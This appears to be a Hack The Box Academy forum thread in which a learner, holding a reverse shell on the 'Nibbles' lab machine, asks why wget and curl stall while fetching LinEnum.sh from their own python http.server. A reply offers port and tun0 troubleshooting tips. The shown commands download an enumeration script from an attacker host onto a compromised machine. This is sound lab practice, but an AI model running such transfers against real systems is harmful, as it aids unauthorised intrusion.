Nibbles - Privilege Escalation - python http.server wget download LinEnum.sh stuck at 0% downloading

Dear reader,

Slowly I am making progress on the academy.
Now I am at: academy.hackthebox.com module 77 section 853

About: Nibbles - Privilege Escalation

I have reached the point where I have setup a reverse shell and want to download the LinEnum.sh script inside the machine. The reverse shell also was a search to upgrade it but I managed. I have setup a python http.server on the ParrotOS Linux environment. It seems the wget command sees the file but it won’t download. I even tried with base64 to get the script over but unsuccessfully.

See my terminal output below:

nibbler@Nibbles:/tmp$ wget http://10.10.15.57/LinEnum.sh -O /tmp/LinEnum.test
–2023-06-10 12:15:39–
Connecting to 10.10.15.57:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 46631 (46K) [text/x-sh]
Saving to: ‘/tmp/LinEnum.test’

/tmp/LinEnum.test 0%[ ] 0 --.-KB/s in 15m 0s

2023-06-10 12:30:40 (0.00 B/s) - Read error at byte 0/46631 (Connection timed out). Retrying.

–2023-06-10 12:30:41-- (try: 2)
Connecting to 10.10.15.57:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 46631 (46K) [text/x-sh]
Saving to: ‘/tmp/LinEnum.test’

/tmp/LinEnum.test 0%[ ] 0 --.-KB/s

Currently I am setting up a Kali Linux box to see if it will work with another distribution.

Has anyone come across this issue? And were you able to resolve it? Can you share with me how to resolve this?

Sincerely,
ingvdboom

You literally won’t believe it but I came across this problem like a week ago.
The base64 doesn’t work because the file is too big.
A few reminders I can give you are:

  1. Check that you are accessing the right port using wget. Check on which port you opened up a server in python.
  2. Use tun0 as your ip.
  3. Check if a server is running by typing your tun0 address and a port of your server. Ex: 10.10.10.14:8080

Thank you @marek33366 for your reply. But I have tried your advice.

Details:
This is how I start the http server:
└──╼ $sudo python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) …
10.129.139.149 - - [10/Jun/2023 19:50:07] “GET /LinEnum.sh HTTP/1.1” 200 -

This is how I initiate the command:
nibbler@Nibbles:/tmp$ curl -L ‘http://10.10.15.57:8080/LinEnum.sh’ > /tmp/LinEnum.sh
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 46631 0 0 0 0 0 0 --:–:-- 0:01:38 --:–:-- 0

What you see here is that at the server it shows the GET request.
And with the curl command you see it shows the actual file size.
But there is no file transfer.

At the moment I am still awaiting my other Linux distribution to be installed.
Any more tips? Anyone?